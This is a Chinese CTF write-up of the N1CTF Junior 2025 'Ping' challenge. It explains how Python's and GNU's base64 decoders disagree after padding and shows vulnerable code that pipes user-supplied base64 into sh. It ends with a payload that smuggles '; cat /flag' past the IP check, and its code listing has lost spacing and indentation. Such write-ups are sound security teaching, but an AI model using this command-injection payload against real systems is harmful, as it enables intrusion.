N1CTF Junior 2025 2/2 中的,也是不出意料没做出来

python 的 base64 解码逻辑和命令行的 base64 命令是不一致的

Python 的base64.b64decode(..., validate=True)在遇到 padding(=)后还有额外的 base64 字符,会报错,而用默认解码base64.b64decode(...)时,只会解出等号前的那一部分

但是命令行中会将两段都成功解出并拼接

这是因为 Base64 的编码本质上是一系列 4 字符为一组的字符块,最后一组可能用 = 填充以满足块对齐,根据解析器类型的不同,解析方法也会有区别

  • **严格解析器(Python 的 ****validate=True**:一旦遇到合法的填充字符 =,就认为这是该 base64 段的结束;如果填充后仍有数据,会报错为“padding 之后有额外数据”
  • 宽松/流式解析器(GNU **base64 -d** 等):通常会把整个输入当作可能包含多个 base64 段(或忽略某些格式约束),会尽量解出每一段能解的部分,因此出现“先解出第一段,到 padding 再继续解出第二段并拼接”这种行为。实现细节取决于具体工具/版本,但 GNU coreutils 的实现就是允许这种拼接

复现:

1
python -c "import base64;print(base64.b64decode('MS4xLjEuMQ==O1BST09G'))"

当我们在命令行运行这段代码,只会返回b'1.1.1.1'(只解出第一个块)

1
echo 'MS4xLjEuMQ==O1BST09G' | base64 -d

这个会输出两段拼接的解码结果:1.1.1.1;PROOF

回到题目:

Ping

核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
ifnot re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
returnFalse
if decoded_ip.count('.') != 3:
returnFalse

ifnot all(0 <= int(part) < 256for part in decoded_ip.split('.')):
returnFalse
ifnot ipaddress.ip_address(decoded_ip):
returnFalse
if len(decoded_ip) > 15:
returnFalse
ifnot re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
returnFalse
except Exception as e:
returnFalse
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

try:
process = subprocess.run(
command,
shell=True,
check=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
returnFalse

对用户传入的 base64 的 ip 解码后进行审查,然后放入 command 中进行 base64,根据上面的 trick 我们直接构造 payload:

1
MS4xLjEuMQ==OyBjYXQgL2ZsYWc=